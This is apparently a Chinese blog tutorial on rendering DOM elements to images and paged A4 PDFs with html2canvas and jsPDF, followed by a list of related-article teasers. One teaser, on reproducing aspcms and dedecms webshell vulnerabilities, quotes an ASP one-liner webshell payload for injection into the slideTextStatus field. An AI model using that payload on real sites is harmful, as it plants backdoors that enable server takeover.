前端项目使用js将dom生成图片、PDF
在进行下方操作前,请你先安装 html2canvas 和 jspdf 包。
1、使用html2canvas将dom元素生成图片
// 获取要转换的dom
const ele = document.getElementById("dom");
// 生成canvas对象
let canvas = await html2canvas(ele);
2、生成PDF对象,将生成的canvas对象转换成base64添加进PDF对象中
// 新建JsPDF对象
const PDF = new jsPDF({orientation: 'p', //参数: l:横向 p:纵向unit: 'mm', //参数:测量单位("pt","mm", "cm", "m", "in" or "px")format: 'a4', //A4纸
})// 将生成的canvas转换成base64添加进PDF对象中
PDF.addImage(canvas.toDataURL('image/jpeg', 1), 'JPEG', 10, 10);// 使用PDF.save()方法进行保存
PDF.save(`${你的文件名}.pdf`)
3、进阶用法
1. canvas要生成的dom高度比较大,a4纸放不下怎么分页?
2. 如何构建pdf文件上传到服务器中?
4、完整代码
// 新建JsPDF对象
const PDF = new jsPDF({orientation: 'p', //参数: l:横向 p:纵向unit: 'mm', //参数:测量单位("pt","mm", "cm", "m", "in" or "px")format: 'a4', //A4纸
})// 将dom转换成canvas对象
const ele = document.getElementById("qkqqProbationDetail");
let canvas = await html2canvas(ele);
const ctx = canvas.getContext('2d')//A4大小,210mm x 297mm,四边各保留10mm的边距,显示区域190x277
const a4w = 190
const a4h = 277
//按A4显示比例换算一页图像的像素高度
const imgHeight = Math.floor(a4h * canvas.width / a4w)
let renderedHeight = 0
while (renderedHeight < canvas.height) {let page = document.createElement("canvas");page.width = canvas.width;//可能内容不足一页page.height = Math.min(imgHeight, canvas.height - renderedHeight);//用getImageData剪裁指定区域,并画到前面创建的canvas对象中page.getContext('2d').putImageData(ctx.getImageData(0, renderedHeight, canvas.width, Math.min(imgHeight, canvas.height - renderedHeight)), 0, 0);// canvas转图片数据保留10mm边距PDF.addImage(page.toDataURL('image/jpeg', 1), 'JPEG', 10, 10, a4w, Math.min(a4h, a4w * page.height / page.width));renderedHeight += imgHeight;//判断是否分页,如果后面还有内容,添加一个空页if (renderedHeight < canvas.height) {PDF.addPage()}
}// 简单版,不需要考虑分页
// PDF.addImage(canvas.toDataURL('image/jpeg', 1), 'JPEG', 10, 10)// **
// dataurlstring 可以拿到base64来进行你的展示
// blob 可以拿到文件流进行上传操作
const pdf_base64 = PDF.output("dataurlstring");
const pdf_blob = PDF.output("blob");
// 使用File构造函数和blob数据创建一个新的File对象
const file = new File([pdf_blob], `${你的pdf}.pdf`, {type: "application/pdf",
});// ** 不上传的话,直接调用保存,将pdf文件保存在你的电脑上
PDF.save(`${你的pdf}.pdf`)
相关文章:
前端项目使用js将dom生成图片、PDF
在进行下方操作前,请你先安装 html2canvas 和 jspdf 包。 1、使用html2canvas将dom元素生成图片 // 获取要转换的dom const ele document.getElementById("dom"); // 生成canvas对象 let canvas await html2canvas(ele); 2、生成PDF对象,将…...
在 Red Hat 上安装 SQL Server 2022 并创建数据库
适用于: SQL Server - Linux 本快速入门介绍如何在 Red Hat Enterprise Linux (RHEL) 8.x 或 9.x 上安装 SQL Server 2022 (16.x)。然后可以使用 sqlcmd 进行连接,创建第一个数据库并运行查询。 注意:本教程需要用户输入和 Internet 连接。 …...
游戏如何应对云手机刷量问题
云手机的实现原理是依托公有云和 ARM 虚拟化技术,为用户在云端提供一个安卓实例,用户可以将手机上的应用上传至云端,再通过视频流的方式,远程实时控制云手机。 市面上常见的几款云手机 原本需要手机提供的计算、存储等能力都改由…...
QTableView使用QSortFilterProxyModel后行号错乱
在Qt中,当你使用QSortFilterProxyModel对QTableView进行排序或过滤后,点击事件可能会返回一个不正确的行号,因为代理模型可能会改变数据的显示顺序。为了获取点击数据的真实行号和内容,你可以使用mapToSource()函数,它…...
【Python】 报错Can‘t find model ‘en_core_web_md‘
出现这种错误表明Python环境中找不到名为en_core_web_md的模型。这通常发生在使用spaCy库进行自然语言处理时,因为spaCy依赖于预先训练好的模型来进行词性标注、依赖分析、命名实体识别等任务。如果没有安装该模型,尝试加载它时会导致错误。 解决办法&a…...
每天五分钟深度学习框架pytorch:pytorch中已经定义好的损失函数
本文重点 前面我们学习了pytorch中两种模式的损失函数,一种是nn,另外一种是functional,本文将讲解pytorch中已经封装好的损失函数。其实nn的方式就是类,而functional的方式就是方法。nn中使用的也是functional。 损失函数中的参数 无论是nn还是functional,大多数的损失函…...
dedecms(四种webshell姿势)、aspcms webshell漏洞复现
一、aspcms webshell 1、登陆后台,在扩展功能的幻灯片设置模块,点击保存进行抓包查看 2、在slideTextStatus写入asp一句话木马 1%25><%25Eval(Request(chr(65)))%25><%25 密码是a,放行,修改成功 3、使用菜刀工具连…...
【STM32系统】基于STM32设计的智能垃圾桶(语音、颜色识别、称重、光强、烟雾、人体识别、步进电机、水泵)——文末资料下载
基于STM32设计的智能垃圾桶 演示视频: 基于STM32设计的智能垃圾桶 功能简介: 四个按键可分别打开四个垃圾桶(可回收垃圾、厨余垃圾、有害垃圾、其他垃圾) oled显示屏显示四个垃圾桶的打开/关闭状态、烟雾浓度、光照强度、称重的重量和识别到的颜色(白色、红色、绿色、蓝…...
GPT代码记录
#include <iostream>// 基类模板 template<typename T> class Base { public:void func() {std::cout << "Base function" << std::endl;} };// 特化的子类 template<typename T> class Derived : public Base<T> { public:void…...
powerbi
一. CALCULATE 和 FILTER FILTER 返回的数据必须是表, 所以 可以 用在 新建表中, 不能直接用在度量值中其实 filter 相当于 用 外表字段 去进行筛选 不使用 filter, 只能使用本表字段 进行筛选,如下1, 只能使用 门店信…...
【Unity】检测鼠标点击位置是否有2D对象
在这里提供两种方案,一种是射线检测,另一种是非射线检测。 初始准备步骤: 创建2D对象(比如2D精灵)给要被检测的2D对象添加2D碰撞体(必须是2D碰撞体)创建一个空对象,再创建一个检测…...
Python学习——【2.1】if语句相关语法
文章目录 【2.1】if语句相关一、布尔类型和比较运算符(一)布尔类型(二)比较运算符 二、if语句的基本格式※、练习 三、if-else组合判断语句※、练习 四、if-elif-else多条件判断语句※、练习 五、判断语句的嵌套※、实战案例 【2.…...
机器学习--K-Means
K均值聚类 算法过程 K − m e a n s K-means K−means 是 聚类 c l u s t e r i n g clustering clustering 算法的一种,就是给你一坨东西,让你给他们分类: 我们的 K − m e a n s K-means K−means 大概是这样一个流程: 第一…...
模型训练时CPU和GPU大幅度波动——可能是数据的读入拖后腿
模型训练时CPU和GPU大幅度波动——可能是数据的加载拖后腿 问题 在进行猫狗大战分类任务时,发现模型训练时CPU和GPU大幅度波动,且模型训练速度很慢。 原因 初步分析可能是数据加载(包括数据的transform,我用了Resize&#…...
keep-alive的应用场景
...
【C++ Primer Plus习题】16.9
大家好,这里是国中之林! ❥前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家。点击跳转到网站。有兴趣的可以点点进去看看← 问题: 解答: #include <iostream> #include <ctime> #include <v…...
Java入门:09.Java中三大特性(封装、继承、多态)02
2 继承 需要两个类才能实现继承的效果。 比如:类A 继承 类B A类 称为 子类 , 衍生类,派生类 B类 称为 父类,基类,超类 继承的作用 子类自动的拥有父类的所有属性和方法 (父类编写,子类不需要…...
AI为云游戏带来的革新及解决方案:深度技术剖析与未来展望
近期,科技巨头埃隆马斯克与热门国产游戏《黑神话:悟空》的互动,再次引发了公众对AI技术在游戏产业中应用的关注。马斯克,作为特斯拉和SpaceX的掌门人,不仅在科技领域引领风骚,其个人兴趣也广泛涉猎…...
集合是什么
1.是什么 集合(Collection)是Java语言中一个非常重要的概念,它是一组对象的容器,用于存储、检索和操作对象。在Java中,集合框架定义了一系列接口和实现类,用于处理不同类型的集合。 集合的概念 集合框架提…...
JavaDS —— 图
图的概念 图是由顶点集合以及顶点之间的关系组成的一种数据结构:G (V,E) 其中 V 表示的是顶点集合 : V { x | x 属于某个数据对象集} 是有穷非空集合 E 叫做边的集合 : E {(x, y) | x, y 属于 V} 或者 …...
idea大量爆红问题解决
问题描述 在学习和工作中,idea是程序员不可缺少的一个工具,但是突然在有些时候就会出现大量爆红的问题,发现无法跳转,无论是关机重启或者是替换root都无法解决 就是如上所展示的问题,但是程序依然可以启动。 问题解决…...
应用升级/灾备测试时使用guarantee 闪回点迅速回退
1.场景 应用要升级,当升级失败时,数据库回退到升级前. 要测试系统,测试完成后,数据库要回退到测试前。 相对于RMAN恢复需要很长时间, 数据库闪回只需要几分钟。 2.技术实现 数据库设置 2个db_recovery参数 创建guarantee闪回点,不需要开启数据库闪回。…...
Zustand 状态管理库:极简而强大的解决方案
Zustand 是一个轻量级、快速和可扩展的状态管理库,特别适合 React 应用。它以简洁的 API 和高效的性能解决了 Redux 等状态管理方案中的繁琐问题。 核心优势对比 基本使用指南 1. 创建 Store // store.js import create from zustandconst useStore create((set)…...
STM32F4基本定时器使用和原理详解
STM32F4基本定时器使用和原理详解 前言如何确定定时器挂载在哪条时钟线上配置及使用方法参数配置PrescalerCounter ModeCounter Periodauto-reload preloadTrigger Event Selection 中断配置生成的代码及使用方法初始化代码基本定时器触发DCA或者ADC的代码讲解中断代码定时启动…...
【python异步多线程】异步多线程爬虫代码示例
claude生成的python多线程、异步代码示例,模拟20个网页的爬取,每个网页假设要0.5-2秒完成。 代码 Python多线程爬虫教程 核心概念 多线程:允许程序同时执行多个任务,提高IO密集型任务(如网络请求)的效率…...
力扣-35.搜索插入位置
题目描述 给定一个排序数组和一个目标值,在数组中找到目标值,并返回其索引。如果目标值不存在于数组中,返回它将会被按顺序插入的位置。 请必须使用时间复杂度为 O(log n) 的算法。 class Solution {public int searchInsert(int[] nums, …...
ABAP设计模式之---“简单设计原则(Simple Design)”
“Simple Design”(简单设计)是软件开发中的一个重要理念,倡导以最简单的方式实现软件功能,以确保代码清晰易懂、易维护,并在项目需求变化时能够快速适应。 其核心目标是避免复杂和过度设计,遵循“让事情保…...
Java数值运算常见陷阱与规避方法
整数除法中的舍入问题 问题现象 当开发者预期进行浮点除法却误用整数除法时,会出现小数部分被截断的情况。典型错误模式如下: void process(int value) {double half = value / 2; // 整数除法导致截断// 使用half变量 }此时...
Windows安装Miniconda
一、下载 https://www.anaconda.com/download/success 二、安装 三、配置镜像源 Anaconda/Miniconda pip 配置清华镜像源_anaconda配置清华源-CSDN博客 四、常用操作命令 Anaconda/Miniconda 基本操作命令_miniconda创建环境命令-CSDN博客...
FFmpeg:Windows系统小白安装及其使用
一、安装 1.访问官网 Download FFmpeg 2.点击版本目录 3.选择版本点击安装 注意这里选择的是【release buids】,注意左上角标题 例如我安装在目录 F:\FFmpeg 4.解压 5.添加环境变量 把你解压后的bin目录(即exe所在文件夹)加入系统变量…...
